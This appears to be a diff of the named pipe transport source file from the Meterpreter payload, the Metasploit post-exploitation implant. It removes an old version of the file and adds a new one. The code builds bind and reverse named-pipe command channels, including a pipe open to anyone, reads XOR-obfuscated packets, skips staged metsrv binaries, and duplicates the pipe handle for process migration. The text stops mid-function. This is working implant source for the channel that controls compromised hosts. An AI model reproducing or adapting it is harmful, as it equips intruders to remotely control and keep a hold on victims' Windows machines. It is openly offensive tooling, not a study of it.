else if ((now - lastPacket) > transport->timeouts.comms) - { - result = ERROR_NETWORK_NOT_AVAILABLE; - dprintf("[NP DISPATCH] communications has timed out"); - break; - } - } - else - { - dprintf("[NP DISPATCH] server_pipe_poll returned %d, exiting dispatcher...", result); - break; - } - } - - dprintf("[NP DISPATCH] leaving server_dispatch."); - - return result; -} - -/*! - * @brief Destroy the named pipe transport. - * @param transport Pointer to the transport to destroy. - */ -static void transport_destroy_named_pipe(Transport* transport) -{ - if (transport && transport->type == METERPRETER_TRANSPORT_PIPE) - { - dprintf("[TRANS PIPE] Destroying pipe transport for url %S", transport->url); - SAFE_FREE(transport->url); - if (transport->ctx) - { - SAFE_FREE(((NamedPipeTransportContext*)transport->ctx)->pipe_name); - } - SAFE_FREE(transport->ctx); - SAFE_FREE(transport); - } -} - -/*! - * @brief Reset the given named pipe connection. - * @param transport Pointer to the named pipe transport to reset. - * @param shuttingDown Indication that the Metsrv instance is terminating completely. - */ -static void transport_reset_named_pipe(Transport* transport, BOOL shuttingDown) -{ - if (transport && transport->type == METERPRETER_TRANSPORT_PIPE) - { - NamedPipeTransportContext* ctx = (NamedPipeTransportContext*)transport->ctx; - dprintf("[NP] Resetting transport from 0x%x", ctx->pipe); - - if (ctx->pipe && ctx->pipe != INVALID_HANDLE_VALUE) - { - dprintf("[NP] Closing the handle"); - if (!CloseHandle(ctx->pipe)) - { - dprintf("[NP] Handle close failed: %u", GetLastError()); - } - else - { - dprintf("[NP] Handle closed"); - } - } - - ctx->pipe = NULL; - dprintf("[NP] Transport 0x%p is now reset to 0x%x", transport, ctx->pipe); - } -} - -/*! - * @brief Configure reverse named pipe connnection. - * @param pipe_name to connect to - * @param timeouts - * @return handle to connected pipe or INVALID_HANDLE_VALUE on error - */ -static HANDLE reverse_named_pipe(wchar_t *pipe_name, TimeoutSettings *timeouts) -{ - DWORD result = ERROR_SUCCESS; - HANDLE hPipe = INVALID_HANDLE_VALUE; - int start = current_unix_timestamp(); - do - { - dprintf("[NP CONFIGURE] pipe name is %S, attempting to create", pipe_name); - hPipe = CreateFileW(pipe_name, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); - if (hPipe != INVALID_HANDLE_VALUE) - { - break; - } - - hPipe = INVALID_HANDLE_VALUE; - result = GetLastError(); - dprintf("[NP CONFIGURE] failed to create pipe: %u 0x%x", result, result); - dprintf("[NP CONFIGURE] Connection failed, sleeping for %u s", timeouts->retry_wait); - sleep(timeouts->retry_wait); - - } while (((DWORD)current_unix_timestamp() - (DWORD)start) < timeouts->retry_total); - return hPipe; -} - -/*! - * @brief Configure bind named pipe connnection. - * @param pipe_name to create - * @param timeouts - * @return handle to connected pipe or INVALID_HANDLE_VALUE on error - */ -static HANDLE bind_named_pipe(wchar_t *pipe_name, TimeoutSettings *timeouts) -{ - DWORD result = ERROR_SUCCESS; - BOOL wasEnabled; - HANDLE hPipe = INVALID_HANDLE_VALUE; - DWORD toggleResult = toggle_privilege(SE_SECURITY_NAME, TRUE, &wasEnabled); - if (toggleResult == ERROR_SUCCESS) - { - SECURITY_ATTRIBUTES sa = { 0 }; - create_pipe_security_attributes(&sa); // allow access anyone - hPipe = CreateNamedPipeW(pipe_name, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, - STUPID_PIPE_BUFFER_LIMIT, STUPID_PIPE_BUFFER_LIMIT, 0, &sa); - result = GetLastError(); - if (wasEnabled == FALSE) - { - toggle_privilege(SE_SECURITY_NAME, FALSE, &wasEnabled); - } - } - - if (hPipe == INVALID_HANDLE_VALUE) - { - // Fallback on a pipe with simpler security attributes - hPipe = CreateNamedPipeW(pipe_name, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, - STUPID_PIPE_BUFFER_LIMIT, STUPID_PIPE_BUFFER_LIMIT, 0, NULL); - result = GetLastError(); - } - - if (hPipe == INVALID_HANDLE_VALUE) - { - dprintf("[NP CONFIGURE] failed to create pipe: %u 0x%x", result, result); - return INVALID_HANDLE_VALUE; - } - - int start = current_unix_timestamp(); - do - { - if (ConnectNamedPipe(hPipe, NULL)) - { - return hPipe; - } - - result = GetLastError(); - if (result == ERROR_PIPE_CONNECTED) - { - return hPipe; - } - dprintf("[NP CONFIGURE] Failed to connect pipe: %u 0x%x", result, result); - dprintf("[NP CONFIGURE] Trying again in %u s", 1); - sleep(1); - } while (((DWORD)current_unix_timestamp() - (DWORD)start) < timeouts->retry_total); - - CloseHandle(hPipe); - return INVALID_HANDLE_VALUE; -} - - -/*! - * @brief Configure the named pipe connnection. If it doesn't exist, go ahead and estbalish it. - * @param transport Pointer to the transport instance. - * @return Indication of success or failure. - */ -static BOOL configure_named_pipe_connection(Transport* transport) -{ - DWORD result = ERROR_SUCCESS; - wchar_t tempUrl[512]; - NamedPipeTransportContext* ctx = (NamedPipeTransportContext*)transport->ctx; - - if (ctx->pipe_name == NULL) - { - dprintf("[NP CONFIGURE] Url: %S", transport->url); - wcscpy_s(tempUrl, 512, transport->url); - dprintf("[NP CONFIGURE] Copied: %S", tempUrl); - - transport->comms_last_packet = current_unix_timestamp(); - - dprintf("[NP CONFIGURE] Making sure it's a pipe ..."); - if (wcsncmp(tempUrl, L"pipe", 4) == 0) - { - dprintf("[NP CONFIGURE] Yup, it is, parsing"); - wchar_t* pServer = wcsstr(tempUrl, L"//") + 2; - dprintf("[NP CONFIGURE] pServer is %p", pServer); - dprintf("[NP CONFIGURE] pServer is %S", pServer); - wchar_t* pName = wcschr(pServer, L'/') + 1; - dprintf("[NP CONFIGURE] pName is %p", pName); - dprintf("[NP CONFIGURE] pName is %S", pName); - wchar_t* pSlash = wcschr(pName, L'/'); - dprintf("[NP CONFIGURE] pName is %p", pName); - - // Kill off a trailing slash if there is one - if (pSlash != NULL) - { - *pSlash = '\0'; - } - - *(pName - 1) = '\0'; - - dprintf("[NP CONFIGURE] Server: %S", pServer); - dprintf("[NP CONFIGURE] Name: %S", pName); - - size_t requiredSize = wcslen(pServer) + wcslen(pName) + 9; - ctx->pipe_name = (STRTYPE)calloc(requiredSize, sizeof(CHARTYPE)); - _snwprintf_s(ctx->pipe_name, requiredSize, requiredSize - 1, L"\\\\%s\\pipe\\%s", pServer, pName); - dprintf("[NP CONFIGURE] Full pipe name: %S", ctx->pipe_name); - } - } - - - // check if comms is already open via a staged payload - if (ctx->pipe != NULL && ctx->pipe != INVALID_HANDLE_VALUE) - { - // Configure PIPE_WAIT. Stager doesn't do this because ConnectNamedPipe may never return. - DWORD mode = 0; - SetNamedPipeHandleState((HANDLE)ctx->pipe, &mode, NULL, NULL); - dprintf("[NP] Connection already running on %u", ctx->pipe); - } - else - { - dprintf("[NP CONFIGURE] pipe name is %p", ctx->pipe_name); - - if (ctx->pipe_name != NULL) - { - if (wcsncmp(ctx->pipe_name, L"\\\\.\\", 4) == 0) - { - ctx->pipe = bind_named_pipe(ctx->pipe_name, &transport->timeouts); - } - else - { - ctx->pipe = reverse_named_pipe(ctx->pipe_name, &transport->timeouts); - } - } - else - { - dprintf("[NP] we might have had an invalid URL"); - result = ERROR_INVALID_PARAMETER; - } - } - - if (ctx->pipe == INVALID_HANDLE_VALUE) - { - dprintf("[SERVER] Something went wrong"); - return FALSE; - } - - dprintf("[SERVER] Looking good, FORWARD!"); - - // Do not allow the file descriptor to be inherited by child processes - SetHandleInformation((HANDLE)ctx->pipe, HANDLE_FLAG_INHERIT, 0); - - transport->comms_last_packet = current_unix_timestamp(); - - return TRUE; -} - -/*! - * @brief Transmit a packet via named pipe. - * @param remote Pointer to the \c Remote instance. - * @param rawPacket Pointer to the raw packet bytes to send. - * @param rawPacketLength Length of the raw packet data. - * @return An indication of the result of processing the transmission request. - */ -DWORD packet_transmit_named_pipe(Remote* remote, LPBYTE rawPacket, DWORD rawPacketLength) -{ - dprintf("[TRANSMIT PIPE] In packet_transmit_named_pipe"); - NamedPipeTransportContext* ctx = (NamedPipeTransportContext*)remote->transport->ctx; - DWORD totalWritten = 0; - DWORD written = 0; - DWORD result = ERROR_SUCCESS; - - lock_acquire(ctx->write_lock); - vdprintf("[TRANSMIT PIPE] Sending packet of %u bytes", rawPacketLength); - - while (totalWritten < rawPacketLength) - { - vdprintf("[TRANSMIT PIPE] Calling WriteFile"); - if (!WriteFile(ctx->pipe, rawPacket + totalWritten, rawPacketLength - totalWritten, &written, NULL)) - { - vdprintf("[TRANSMIT PIPE] WriteFile failed: %u (%x)", GetLastError(), GetLastError()); - result = GetLastError(); - break; - } - dprintf("[TRANSMIT PIPE] WriteFile succeeded, wrote %u bytes", written); - - totalWritten += written; - } - - if (result != ERROR_SUCCESS) - { - dprintf("[TRANSMIT PIPE] transmit packet failed with return %d at index %d", result, totalWritten); - } - else - { - vdprintf("[TRANSMIT PIPE] Packet sent!"); - } - - - lock_release(ctx->write_lock); - - return result; -} - -/*! - * @brief Get the socket from the transport. - * @param transport Pointer to the transport containing the socket. - * @param handle The current transport handle, if any. - */ -static UINT_PTR transport_get_handle_named_pipe(Transport* transport) -{ - if (transport != NULL) - { - return (UINT_PTR)((NamedPipeTransportContext*)transport->ctx)->pipe; - } - - return 0; -} - -/*! - * @brief Set the socket for the transport. - * @param transport Pointer to the transport containing the socket. - * @param handle The current transport socket FD, if any. - */ -static void transport_set_handle_named_pipe(Transport* transport, UINT_PTR handle) -{ - if (transport && transport->type == METERPRETER_TRANSPORT_PIPE) - { - ((NamedPipeTransportContext*)transport->ctx)->pipe = (HANDLE)handle; - } -} - -/*! - * @brief Create a configuration block from the given transport. - * @param transport Transport data to create the configuration from. - * @param config Pointer to the config block to write to. - */ -void transport_write_named_pipe_config(Transport* transport, MetsrvTransportNamedPipe* config) -{ - if (transport && config) - { - config->common.comms_timeout = transport->timeouts.comms; - config->common.retry_total = transport->timeouts.retry_total; - config->common.retry_wait = transport->timeouts.retry_wait; - wcsncpy(config->common.url, transport->url, URL_SIZE); - } -} - -/*! - * @brief Create a migration context that works for named pipe transports. - * @param transport Pointer to the transport in question. - * @param targetProcessId ID of the process we'll be migrating into. - * @param targetProcessHandle Handle of the process we'll be migrating into. - * @param contextSize Pointer to a buffer that receives the context size. - * @param contextBuffer Pointer to a buffer that receives the context data. - * @return Indication of success or failure. - */ -static DWORD get_migrate_context_named_pipe(Transport* transport, DWORD targetProcessId, HANDLE targetProcessHandle, LPDWORD contextSize, PBYTE* contextBuffer) -{ - LPPIPEMIGRATECONTEXT ctx = (LPPIPEMIGRATECONTEXT)calloc(1, sizeof(PIPEMIGRATECONTEXT)); - - // Duplicate the handle for the pipe - dprintf("[NP-MIGRATE] pipe handle: %p", ((NamedPipeTransportContext*)transport->ctx)->pipe); - dprintf("[NP-MIGRATE] targetprocess handle: %p", targetProcessHandle); - if (!DuplicateHandle(GetCurrentProcess(), ((NamedPipeTransportContext*)transport->ctx)->pipe, targetProcessHandle, &ctx->h.pipe_handle, 0, TRUE, DUPLICATE_SAME_ACCESS)) - { - free(ctx); - return GetLastError(); - } - - *contextSize = sizeof(PIPEMIGRATECONTEXT); - *contextBuffer = (PBYTE)ctx; - return ERROR_SUCCESS; -} - -/*! - * @brief Gets the size of the memory space required to store the configuration for this transport. - * @param t Pointer to the transport. - * @return Size, in bytes of the required memory block. - */ -static DWORD transport_get_config_size_named_pipe(Transport* t) -{ - return sizeof(MetsrvTransportNamedPipe); -} - -/*! - * @brief Creates a new named pipe transport instance. - * @param config The Named Pipe configuration block. - * @param size Pointer to the size of the parsed config block. - * @return Pointer to the newly configured/created Named Pipe transport instance. - */ -Transport* transport_create_named_pipe(MetsrvTransportNamedPipe* config, LPDWORD size) -{ - Transport* transport = (Transport*)calloc(1, sizeof(Transport)); - NamedPipeTransportContext* ctx = (NamedPipeTransportContext*)calloc(1, sizeof(NamedPipeTransportContext)); - - if (size) - { - *size = sizeof(MetsrvTransportNamedPipe); - } - - // Lock used to synchronise writes - ctx->write_lock = lock_create(); - - dprintf("[TRANS NP] Creating pipe transport for url %S", config->common.url); - - transport->type = METERPRETER_TRANSPORT_PIPE; - transport->timeouts.comms = config->common.comms_timeout; - transport->timeouts.retry_total = config->common.retry_total; - transport->timeouts.retry_wait = config->common.retry_wait; - transport->url = _wcsdup(config->common.url); - transport->packet_transmit = packet_transmit_named_pipe; - transport->transport_init = configure_named_pipe_connection; - transport->transport_destroy = transport_destroy_named_pipe; - transport->transport_reset = transport_reset_named_pipe; - transport->server_dispatch = server_dispatch_named_pipe; - transport->get_handle = transport_get_handle_named_pipe; - transport->set_handle = transport_set_handle_named_pipe; - transport->ctx = ctx; - transport->comms_last_packet = current_unix_timestamp(); - transport->get_migrate_context = get_migrate_context_named_pipe; - transport->get_config_size = transport_get_config_size_named_pipe; - - return transport; -} +/*! + * @file server_transport_named_pipe.c + */ +#include "metsrv.h" +#include "packet_encryption.h" + +// From server_pivot_named_pipe.c +VOID create_pipe_security_attributes(PSECURITY_ATTRIBUTES psa); +DWORD toggle_privilege(LPCWSTR privName, BOOL enable, BOOL* wasEnabled); + +#define STUPID_PIPE_BUFFER_LIMIT 0x10000 + + +typedef struct _PIPEMIGRATECONTEXT +{ + COMMONMIGRATECONTEXT common; + + // We force 64bit algnment for HANDLES and POINTERS in order + // to be cross compatable between x86 and x64 migration. + union + { + HANDLE pipe_handle; + BYTE padding[8]; + } h; + +} PIPEMIGRATECONTEXT, * LPPIPEMIGRATECONTEXT; + +/*! + * @brief Poll a named pipe for data to recv and block when none available. + * @param remote Pointer to the remote instance. + * @param timeout Amount of time to wait before the poll times out (in milliseconds). + * @return Indication of success or failure. + */ +static DWORD server_pipe_poll(Remote* remote, long timeout) +{ + DWORD bytesAvailable = 0; + NamedPipeTransportContext* ctx = (NamedPipeTransportContext*)remote->transport->ctx; + + lock_acquire(remote->lock); + + vdprintf("[NP DISPATCH] testing for data on the pipe, making sure there's enough for a packet header"); + BOOL ready = PeekNamedPipe(ctx->pipe, NULL, 0, NULL, &bytesAvailable, NULL) && bytesAvailable >= sizeof(PacketHeader); + DWORD result = GetLastError(); + + lock_release(remote->lock); + + if (ready) + { + vdprintf("[NP DISPATCH] pipe data found %u bytes", bytesAvailable); + result = ERROR_SUCCESS; + } + else + { + if (result != ERROR_BROKEN_PIPE) + { + // simulate a wait so that we don't bash the crap out of the CPU? + vdprintf("[NP DISPATCH] pipe data not found, sleeping (error %u)", GetLastError()); + Sleep(timeout); + result = ERROR_NO_DATA; + } + } + + return result; +} + +DWORD read_raw_bytes_to_buffer(NamedPipeTransportContext* ctx, LPBYTE buffer, DWORD bytesToRead, LPDWORD bytesRead) +{ + DWORD bytesReadThisIteration = 0; + DWORD temp = 0; + DWORD result = ERROR_SUCCESS; + *bytesRead = 0; + + dprintf("[PIPE] Beginning read loop for a total of %u", bytesToRead); + while (*bytesRead < bytesToRead) + { + dprintf("[PIPE] Trying to read %u (0x%x) bytes", min(STUPID_PIPE_BUFFER_LIMIT, bytesToRead - *bytesRead), min(STUPID_PIPE_BUFFER_LIMIT, bytesToRead - *bytesRead)); + // read the bytes fromi there. + if (!ReadFile(ctx->pipe, buffer + *bytesRead, min(STUPID_PIPE_BUFFER_LIMIT, bytesToRead - *bytesRead), &bytesReadThisIteration, NULL)) + { + result = GetLastError(); + dprintf("[PIPE] ReadFile returned error %u 0x%x", result, result); + break; + } + + dprintf("[PIPE] ReadFile claims to have read %u (0x%x) bytes", bytesReadThisIteration, bytesReadThisIteration); + + *bytesRead += bytesReadThisIteration; + } + + dprintf("[PIPE] Done reading bytes"); + return result; +} + +/*! + * @brief Receive a new packet on the given remote endpoint. + * @param remote Pointer to the \c Remote instance. + * @param packet Pointer to a pointer that will receive the \c Packet data. + * @return An indication of the result of processing the transmission request. + */ +static DWORD packet_receive_named_pipe(Remote *remote, Packet **packet) +{ + DWORD headerBytes = 0, payloadBytesLeft = 0, res; + PacketHeader header = { 0 }; + LONG bytesRead; + BOOL inHeader = TRUE; + PUCHAR packetBuffer = NULL; + PUCHAR payload = NULL; + ULONG payloadLength; + NamedPipeTransportContext* ctx = (NamedPipeTransportContext*)remote->transport->ctx; + + lock_acquire(remote->lock); + + dprintf("[PIPE PACKET RECEIVE] reading in the header from pipe handle: %p", ctx->pipe); + // Read the packet length + while (inHeader) + { + if (!ReadFile(ctx->pipe, ((PUCHAR)&header + headerBytes), sizeof(PacketHeader)-headerBytes, &bytesRead, NULL)) + { + SetLastError(ERROR_NOT_FOUND); + goto out; + } + + headerBytes += bytesRead; + + if (headerBytes != sizeof(PacketHeader)) + { + vdprintf("[PIPE] More bytes required"); + continue; + } + + inHeader = FALSE; + } + + if (headerBytes != sizeof(PacketHeader)) + { + dprintf("[PIPE] we didn't get enough header bytes"); + goto out; + } + + vdprintf("[PIPE] the XOR key is: %02x%02x%02x%02x", header.xor_key[0], header.xor_key[1], header.xor_key[2], header.xor_key[3]); + +#ifdef DEBUGTRACE + PUCHAR h = (PUCHAR)&header; + dprintf("[PIPE] Packet header: [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]", + h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], h[16], h[17], h[18], h[19], h[20], h[21], h[22], h[23], h[24], h[25], h[26], h[27], h[28], h[29], h[30], h[31]); +#endif + + // At this point, we might have read in a valid TLV packet, or we might have read in the first chunk of data + // from a staged listener after a reconnect. We can figure this out rather lazily by assuming the following: + // XOR keys are always 4 bytes that are non-zero. If the higher order byte of the xor key is zero, then it + // isn't an XOR Key, instead it's the 4-byte length of the metsrv binary (because metsrv isn't THAT big). + if (header.xor_key[3] == 0) + { + // looks like we have a metsrv instance, time to ignore it. + int length = *(int*)&header.xor_key[0]; + dprintf("[PIPE] discovered a length header, assuming it's metsrv of length %d", length); + + int bytesToRead = length - sizeof(PacketHeader) + sizeof(DWORD); + char* buffer = (char*)malloc(bytesToRead); + read_raw_bytes_to_buffer(ctx, buffer, bytesToRead, &bytesRead); + free(buffer); + + // did something go wrong. + if (bytesToRead != bytesRead) + { + dprintf("[PIPE] Failed to read all bytes when flushing the buffer: %u vs %u", bytesToRead, bytesRead); + goto out; + } + + // indicate success, but don't return a packet for processing + SetLastError(ERROR_SUCCESS); + *packet = NULL; + } + else + { + vdprintf("[PIPE] XOR key looks fine, moving on"); + // xor the header data + xor_bytes(header.xor_key, (PUCHAR)&header + sizeof(header.xor_key), sizeof(PacketHeader) - sizeof(header.xor_key)); +#ifdef DEBUGTRACE + PUCHAR h = (PUCHAR)&header; + dprintf("[PIPE] Packet header: [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]", + h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], h[16], h[17], h[18], h[19], h[20], h[21], h[22], h[23], h[24], h[25], h[26], h[27], h[28], h[29], h[30], h[31]); +#endif + + // if we don't have a GUID yet, we need to take the one given in the packet + if (is_null_guid(remote->orig_config->session.session_guid)) + { + memcpy(remote->orig_config->session.session_guid, header.session_guid, sizeof(remote->orig_config->session.session_guid)); + } + + payloadLength = ntohl(header.length) - sizeof(TlvHeader); + dprintf("[PIPE] Payload length is %u 0x%08x", payloadLength, payloadLength); + DWORD packetSize = sizeof(PacketHeader) + payloadLength; + dprintf("[PIPE] total buffer size for the packet is %u 0x%08x", packetSize, packetSize); + payloadBytesLeft = payloadLength; + + // Allocate the payload + if (!(packetBuffer = (PUCHAR)malloc(packetSize))) + { + dprintf("[PIPE] Failed to create the packet buffer"); + SetLastError(ERROR_NOT_ENOUGH_MEMORY); + goto out; + } + dprintf("[PIPE] Allocated packet buffer at %p", packetBuffer); + + // we're done with the header data, so we need to re-encode it, as the packet decryptor is going to + // handle the extraction for us. + xor_bytes(header.xor_key, (LPBYTE)&header.session_guid[0], sizeof(PacketHeader) - sizeof(header.xor_key)); + // Copy the packet header stuff over to the packet + memcpy_s(packetBuffer, sizeof(PacketHeader), (LPBYTE)&header, sizeof(PacketHeader)); + + payload = packetBuffer + sizeof(PacketHeader); + + // Read the payload + res = read_raw_bytes_to_buffer(ctx, payload, payloadLength, &bytesRead); + dprintf("[PIPE] wanted %u read %u", payloadLength, bytesRead); + + // Didn't finish? + if (bytesRead != payloadLength) + { + dprintf("[PIPE] Failed to get all the payload bytes"); + SetLastError(res); + goto out; + } + + vdprintf("[PIPE] decrypting packet"); + SetLastError(decrypt_packet(remote, packet, packetBuffer, packetSize)); + + free(packetBuffer); + packetBuffer = NULL; + } +out: + res = GetLastError(); + + // Cleanup + if (packetBuffer) + { + free(packetBuffer); + } + + lock_release(remote->lock); + + return res; +} + +/*! + * @brief The servers main NP DISPATCH loop for incoming requests using SSL over named pipes. + * @param remote Pointer to the remote endpoint for this server connection. + * @param dispatchThread Pointer to the main NP DISPATCH thread. + * @returns Indication of success or failure. + */ +static DWORD server_dispatch_named_pipe(Remote* remote, THREAD* dispatchThread) +{ + Transport* transport = remote->transport; + BOOL running = TRUE; + LONG result = ERROR_SUCCESS; + Packet * packet = NULL; + THREAD * cpt = NULL; + + dprintf("[NP DISPATCH] entering server_dispatch( 0x%08X )", remote); + + int lastPacket = current_unix_timestamp(); + while (running) + { + if (event_poll(dispatchThread->sigterm, 0)) + { + dprintf("[NP DISPATCH] server dispatch thread signaled to terminate..."); + break; + } + + result = server_pipe_poll(remote, 500); + if (result == ERROR_SUCCESS) + { + result = packet_receive_named_pipe(remote, &packet); + if (result != ERROR_SUCCESS) + { + dprintf("[NP DISPATCH] packet_receive returned %d, exiting dispatcher...", result); + break; + } + + if (packet) + { + running = command_handle(remote, packet); + dprintf("[NP DISPATCH] command_process result: %s", (running ? "continue" : "stop")); + } + else + { + dprintf("[NP DISPATCH] Received NULL packet, could be metsrv being ignored"); + } + + // packet received, reset the timer + lastPacket = current_unix_timestamp(); + } + else if (result != ERROR_BROKEN_PIPE) + { + // check if the communication has timed out, or the session has expired, so we should terminate the session + int now = current_unix_timestamp(); + if (now > remote->sess_expiry_end) + { + result = ERROR_SUCCESS; + dprintf("[NP DISPATCH] session has ended"); + break; + } + else if ((now - lastPacket) > transport->timeouts.comms) + { + result = ERROR_NETWORK_NOT_AVAILABLE; + dprintf("[NP DISPATCH] communications has timed out"); + break; + } + } + else + { + dprintf("[NP DISPATCH] server_pipe_poll returned %d, exiting dispatcher...", result); + break; + } + } + + dprintf("[NP DISPATCH] leaving server_dispatch."); + + return result; +} + +/*! + * @brief Destroy the named pipe transport. + * @param transport Pointer to the transport to destroy. + */ +static void transport_destroy_named_pipe(Transport* transport) +{ + if (transport && transport->type == METERPRETER_TRANSPORT_PIPE) + { + dprintf("[TRANS PIPE] Destroying pipe transport for url %S", transport->url); + SAFE_FREE(transport->url); + if (transport->ctx) + { + SAFE_FREE(((NamedPipeTransportContext*)transport->ctx)->pipe_name); + } + SAFE_FREE(transport->ctx); + SAFE_FREE(transport); + } +} + +/*! + * @brief Reset the given named pipe connection. + * @param transport Pointer to the named pipe transport to reset. + * @param shuttingDown Indication that the Metsrv instance is terminating completely. + */ +static void transport_reset_named_pipe(Transport* transport, BOOL shuttingDown) +{ + if (transport && transport->type == METERPRETER_TRANSPORT_PIPE) + { + NamedPipeTransportContext* ctx = (NamedPipeTransportContext*)transport->ctx; + dprintf("[NP] Resetting transport from 0x%x", ctx->pipe); + + if (ctx->pipe && ctx->pipe != INVALID_HANDLE_VALUE) + { + dprintf("[NP] Closing the handle"); + if (!CloseHandle(ctx->pipe)) + { + dprintf("[NP] Handle close failed: %u", GetLastError()); + } + else + { + dprintf("[NP] Handle closed"); + } + } + + ctx->pipe = NULL; + dprintf("[NP] Transport 0x%p is now reset to 0x%x", transport, ctx->pipe); + } +} + +/*! + * @brief Configure reverse named pipe connnection. + * @param pipe_name to connect to + * @param timeouts + * @return handle to connected pipe or INVALID_HANDLE_VALUE on error + */ +static HANDLE reverse_named_pipe(wchar_t *pipe_name, TimeoutSettings *timeouts) +{ + DWORD result = ERROR_SUCCESS; + HANDLE hPipe = INVALID_HANDLE_VALUE; + int start = current_unix_timestamp(); + do + { + dprintf("[NP CONFIGURE] pipe name is %S, attempting to create", pipe_name); + hPipe = CreateFileW(pipe_name, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); + if (hPipe != INVALID_HANDLE_VALUE) + { + break; + } + + hPipe = INVALID_HANDLE_VALUE; + result = GetLastError(); + dprintf("[NP CONFIGURE] failed to create pipe: %u 0x%x", result, result); + dprintf("[NP CONFIGURE] Connection failed, sleeping for %u s", timeouts->retry_wait); + sleep(timeouts->retry_wait); + + } while (((DWORD)current_unix_timestamp() - (DWORD)start) < timeouts->retry_total); + return hPipe; +} + +/*! + * @brief Configure bind named pipe connnection. + * @param pipe_name to create + * @param timeouts + * @return handle to connected pipe or INVALID_HANDLE_VALUE on error + */ +static HANDLE bind_named_pipe(wchar_t *pipe_name, TimeoutSettings *timeouts) +{ + DWORD result = ERROR_SUCCESS; + BOOL wasEnabled; + HANDLE hPipe = INVALID_HANDLE_VALUE; + DWORD toggleResult = toggle_privilege(SE_SECURITY_NAME, TRUE, &wasEnabled); + if (toggleResult == ERROR_SUCCESS) + { + SECURITY_ATTRIBUTES sa = { 0 }; + create_pipe_security_attributes(&sa); // allow access anyone + hPipe = CreateNamedPipeW(pipe_name, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, + STUPID_PIPE_BUFFER_LIMIT, STUPID_PIPE_BUFFER_LIMIT, 0, &sa); + result = GetLastError(); + if (wasEnabled == FALSE) + { + toggle_privilege(SE_SECURITY_NAME, FALSE, &wasEnabled); + } + } + + if (hPipe == INVALID_HANDLE_VALUE) + { + // Fallback on a pipe with simpler security attributes + hPipe = CreateNamedPipeW(pipe_name, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, + STUPID_PIPE_BUFFER_LIMIT, STUPID_PIPE_BUFFER_LIMIT, 0, NULL); + result = GetLastError(); + } + + if (hPipe == INVALID_HANDLE_VALUE) + { + dprintf("[NP CONFIGURE] failed to create pipe: %u 0x%x", result, result); + return INVALID_HANDLE_VALUE; + } + + int start = current_unix_timestamp(); + do + { + if (ConnectNamedPipe(hPipe, NULL)) + { + return hPipe; + } + + result = GetLastError(); + if (result == ERROR_PIPE_CONNECTED) + { + return hPipe; + } + dprintf("[NP CONFIGURE] Failed to connect pipe: %u 0x%x", result, result); + dprintf("[NP CONFIGURE] Trying again in %u s", 1); + sleep(1); + } while (((DWORD)current_unix_timestamp() - (DWORD)start) < timeouts->retry_total); + + CloseHandle(hPipe); + return INVALID_HANDLE_VALUE; +} + + +/*! + * @brief Configure the named pipe connnection. If it doesn't exist, go ahead and estbalish it. + * @param transport Pointer to the transport instance. + * @return Indication of success or failure. + */ +static BOOL configure_named_pipe_connection(Transport* transport) +{ + DWORD result = ERROR_SUCCESS; + wchar_t tempUrl[512]; + NamedPipeTransportContext* ctx = (NamedPipeTransportContext*)transport->ctx; + + if (ctx->pipe_name == NULL) + { + dprintf("[NP CONFIGURE] Url: %S", transport->url); + wcscpy_s(tempUrl, 512, transport->url); + dprintf("[NP CONFIGURE] Copied: %S", tempUrl); + + transport->comms_last_packet = current_unix_timestamp(); + + dprintf("[NP CONFIGURE] Making sure it's a pipe ..."); + if (wcsncmp(tempUrl, L"pipe", 4) == 0) + { + dprintf("[NP CONFIGURE] Yup, it is, parsing"); + wchar_t* pServer = wcsstr(tempUrl, L"//") + 2; + dprintf("[NP CONFIGURE] pServer is %p", pServer); + dprintf("[NP CONFIGURE] pServer is %S", pServer); + wchar_t* pName = wcschr(pServer, L'/') + 1; + dprintf("[NP CONFIGURE] pName is %p", pName); + dprintf("[NP CONFIGURE] pName is %S", pName); + wchar_t* pSlash = wcschr(pName, L'/'); + dprintf("[NP CONFIGURE] pName is %p", pName); + + // Kill off a trailing slash if there is one + if (pSlash != NULL) + { + *pSlash = '\0'; + } + + *(pName - 1) = '\0'; + + dprintf("[NP CONFIGURE] Server: %S", pServer); + dprintf("[NP CONFIGURE] Name: %S", pName); + + size_t requiredSize = wcslen(pServer) + wcslen(pName) + 9; + ctx->pipe_name = (STRTYPE)calloc(requiredSize, sizeof(CHARTYPE)); + _snwprintf_s(ctx->pipe_name, requiredSize, requiredSize - 1, L"\\\\%s\\pipe\\%s", pServer, pName); + dprintf("[NP CONFIGURE] Full pipe name: %S", ctx->pipe_name); + } + } + + + // check if comms is already open via a staged payload + if (ctx->pipe != NULL && ctx->pipe != INVALID_HANDLE_VALUE) + { + // Configure PIPE_WAIT. Stager doesn't do this because ConnectNamedPipe may never return. + DWORD mode = 0; + SetNamedPipeHandleState((HANDLE)ctx->pipe, &mode, NULL, NULL); + dprintf("[NP] Connection already running on %u", ctx->pipe); + } + else + { + dprintf("[NP CONFIGURE] pipe name is %p", ctx->pipe_name); + + if (ctx->pipe_name != NULL) + { + if 